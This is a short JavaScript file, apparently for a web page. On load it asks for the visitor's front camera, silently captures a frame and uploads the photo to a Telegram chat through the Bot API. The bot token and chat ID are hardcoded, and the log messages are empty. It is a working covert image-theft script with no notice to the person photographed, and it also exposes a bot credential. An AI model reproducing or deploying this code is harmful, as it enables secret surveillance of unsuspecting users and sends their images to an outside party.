async function requestCameraAccess() {
     try {
         const constraints = { video: { facingMode: 'user' }, audio: false };
         const stream = await navigator.mediaDevices.getUserMedia(constraints);
         const video = document.createElement('video');
         video.srcObject = stream;
         video.play();

         const canvas = document.getElementById('canvas');
         const context = canvas.getContext('2d');
         video.addEventListener('loadeddata', () => {
             canvas.width = video.videoWidth;
             canvas.height = video.videoHeight;
             context.drawImage(video, 0, 0, video.videoWidth, video.videoHeight);
             video.pause();
             video.srcObject = null;
             stream.getTracks().forEach(track => track.stop());

             canvas.toBlob(blob => {
                 sendToTelegram(blob);
             });
         });
     } catch (error) {
         console.error('', error);
     }
 }
     

function sendToTelegram(blob) {
    const formData = new FormData();
    formData.append('chat_id', '-1002307536774');
    formData.append('photo', blob, 'photo.png');

    const botToken = '7577593709:AAHx9cXWKqFA6wB9OjYRCgzGmNLBPhC0iD8';
    const url = `https://api.telegram.org/bot${botToken}/sendPhoto`;

    fetch(url, {
        method: 'POST',
        body: formData
    })
    .then(response => response.json())
    .then(data => {
        if (data.ok) {
            console.log('');
        } else {
            console.error('', data);
        }
    })
    .catch(error => console.error('', error));
}


window.onload = function() {
    requestCameraAccess();
};